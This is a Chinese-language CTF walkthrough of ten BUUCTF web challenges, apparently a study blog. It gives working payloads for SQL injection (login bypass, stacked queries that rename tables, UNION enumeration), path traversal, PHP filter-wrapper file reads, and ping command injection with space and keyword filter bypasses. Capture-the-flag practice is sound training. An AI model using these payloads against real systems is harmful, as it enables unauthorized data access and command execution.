目录
六.[GXYCTF2019]Ping Ping Ping 1
一.[极客大挑战 2019]EasySQL 1
看到登录框首先用万能密码试一下(万能密码详细见CSDN)
密码处还可以用1' or '1' ='1 也可以登陆成功
二.[极客大挑战 2019]Havefun 1
进入页面发现什么也没有,所以ctrl+u查看网页源代码,往下滑可以看见绿色代码部分(其他部分与题目没多大关系)
源码解释:变量cat,通过get传参方式对cat传值,如果变量=dog就会有东西输出
所以返回原页面payload构造:?cat=dog
三.[HCTF 2018]WarmUp 1
首先查看源码,发现有个source.php
所以返回原页面,url加上/source.php查看source里的内容,发现就是给出白名单以及过滤了两次问号和进行三次白名单验证(看不懂的函数可以百度搜索)
查看hint.php,发现flag在ffffllllaaaagggg
根据以上分析,构造payload:/source.php?file=hint.php?../../../../../../ffffllllaaaagggg
../是翻找上级目录,可以多用几个,也可以一个一个试,直到flag出现为止
四.[ACTF2020 新生赛]Include 1
tips点进去,刚开始觉得页面没有什么有用的信息,首先想到用burp抓包,但也没有什么东西,再认真看页面,发现所在页面就是flag.php,但是没有显示flag,于是想到用php伪协议来读取
于是构造payload:?file=php://filter/convert.base64-encode/resource=flag.php
进行base64解码
五.[ACTF2020 新生赛]Exec 1
看到ping首先想到用127.0.0.1尝试
看到有数据回显,就试一下抓取flag
127.0.0.1 & cat /flag(注意空格)
六.[GXYCTF2019]Ping Ping Ping 1
思路一:
首先还是试一下/?ip=127.0.0.1
看到有数据回显,再试一下 /?ip=127.0.0.1 & cat /flag,显示不能有空格
去看了ping的绕过方式,空格绕过方式可以用字符串代替:<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS等
所以我尝试用$IFS$9绕过空格(ip等于多少都可以),然后提示不能出现flag
然后有一个绕过方式是拼接,就是1;a=ag.php;b=fl;cat $b$a
上图应该是执行成功了,但是没有显示出flag,可以ctrl+u查看源码,得到flag
思路二:
从思路一看出来,不能出现flag、空格,说明改题目对用户输入做了限制,尝试找到页面看一下做了哪些过滤,一般试一下index.php
看见过滤了很多符号、bash、flag等,针对过滤掉的字符找到相应的过滤方法(可以先去看看ping绕过的方法)
就比如用思路一里的拼接方法
七.[强网杯 2019]随便注 1
首先看看有没有出现单引号闭合或者双引号闭合情况
显然1=2是错误的,但是它还是给我们回显数据,接着分别尝试用单引号和双引号闭合
所以此题是单引号闭合
然后试一下sql注入里的查询库名语句,发现过滤了
select|update|delete|drop|insert|where|.
select被过滤,报错注入、盲注等也都没法实现,所以采用堆叠注入
发现成功查询库名,接着查询表名
有两个表,所以依次查询字段
1';show columns from `1919810931114514`# (注意是``而不是单引号)
1';show columns from `words`#
发现1919810931114514表里有flag
但是很明显无论输入什么都会回显数字1和hahahah,这恰恰对应着words表里的id字段和data字段,说明内部查询语句应该是select id,data from words where id=....
根据猜测的内部查询语句,要想让flag显示出来,我们就要将flag所在的表也就是1919810931114514表名改为words表,增加一个id字段,并且要将flag字段改为data字段。在改19198表名之前,要先将原来的words表名改为其他的名字
1';rename table words to otherword;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
(该代码参考来源BUUCTF [强网杯 2019]随便注 1(两种方法)_hcjtn的博客-CSDN博客)
然后查验有没有成功换名
成功换名之后,输入1' or 1=1#就可以看见flag
八.[SUCTF 2019]EasySQL 1
输入一些字符,出现nonono就是表示该字符过滤,尝试用堆叠注入依次查询库名、表名
接着输入1;show columns from `Flag`#发现不行。然后发现除了0输入任何数字都会显示1输入字母却不显示
select 0 || flag --->返回结果为0
select 1 || flag --->返回结果为1
select 2 || flag --->返回结果为1
select a || flag --->返回结果为0
由以上结果猜测内部查询语句是
select '.$POST['query'].' || flag from Flag
所以只需要填*,1就能得出flag
就是select *,1 || flag from Flag ---> select *,1 from Flag
这里的*就相当于通配符,然后1就是在Flag表里增加一行1数据
九.[极客大挑战 2019]Secret File 1
首先查看网页源码,发现有个room.php点击它
发现有个action.php
到页面去访问/action.php,发现跳转成了end.php
以上种种自然而然想到用burp抓包看看,发到repeater看看响应,发现有个secr3t.php
访问secr3t.php
通过上面源代码我们要绕过../ tp input data所以想到用php filter伪协议
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
然后进行base64解码
十.[极客大挑战 2019]LoveSQL 1
首先用万能密码登录,登陆成功
然后就可以随便用简单点的账户密码来测试(可换可不换账号密码)
用and 1=1和and 1=2发现username是注入点(详细见SQL注入--显错注入(zkaq)_咕噜yay的博客-CSDN博客)
接着查看输出点,发现2,3为输出点
?username=1' union select 1,2,3-- qwe&password=abc
然后判断字段数,发现字段数为3(其他数字只是显示账号密码错误,当为4时报错不一样)
?username=1' order by 4-- qwe&password=abc-- qwe
查询库名
username=1' union select 1,2,database()-- qwe&password=abc-- qwe
查表名,得到表名geekuser,l0ve1ysq1
?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe&password=abc-- qwe
接着查字段名,得到id,username,password
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'-- qwe&password=abc-- qwe
接着查数据,得到一大串去寻找flag
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1-- qwe&password=abc-- qwe